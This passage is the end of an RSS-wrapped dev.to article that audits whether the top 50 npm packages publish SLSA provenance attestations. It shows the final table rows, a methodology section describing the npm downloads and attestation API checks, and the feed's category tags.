&lt;td&gt;157,069,492&lt;/td&gt;
&lt;td&gt;2.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;eslint-scope&lt;/td&gt;
&lt;td&gt;155,326,676&lt;/td&gt;
&lt;td&gt;9.1.2&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;get-stream&lt;/td&gt;
&lt;td&gt;154,148,256&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/code-frame&lt;/td&gt;
&lt;td&gt;153,078,228&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/types&lt;/td&gt;
&lt;td&gt;152,109,091&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Methodology
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit date&lt;/strong&gt;: 13 April 2026&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Download ranking&lt;/strong&gt;: npm public downloads API (&lt;code&gt;api.npmjs.org/downloads/point/last-week/&amp;lt;pkg&amp;gt;&lt;/code&gt;), aggregated from a
candidate pool of around 868 high-traffic packages including the full &lt;code&gt;@types/*&lt;/code&gt;, &lt;code&gt;@babel/*&lt;/code&gt;, framework families,
build tooling, ESLint plugins, and common scoped packages, then sorted by weekly downloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance check&lt;/strong&gt;: &lt;code&gt;registry.npmjs.org/-/npm/v1/attestations/&amp;lt;pkg&amp;gt;@&amp;lt;version&amp;gt;&lt;/code&gt;, verifying &lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt;
predicate type&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification&lt;/strong&gt;: each positive result had its DSSE envelope payload decoded and inspected for
&lt;code&gt;predicate.buildDefinition.externalParameters.workflow&lt;/code&gt; to confirm the binding to source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The ranking is accurate to within a few positions inside the top 50. The 6/50 headline is unaffected by minor rank&lt;br&gt;
swaps. Raw audit data available on request.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>security</category>
      <category>npm</category>
    </item>
  </channel>
</rss>
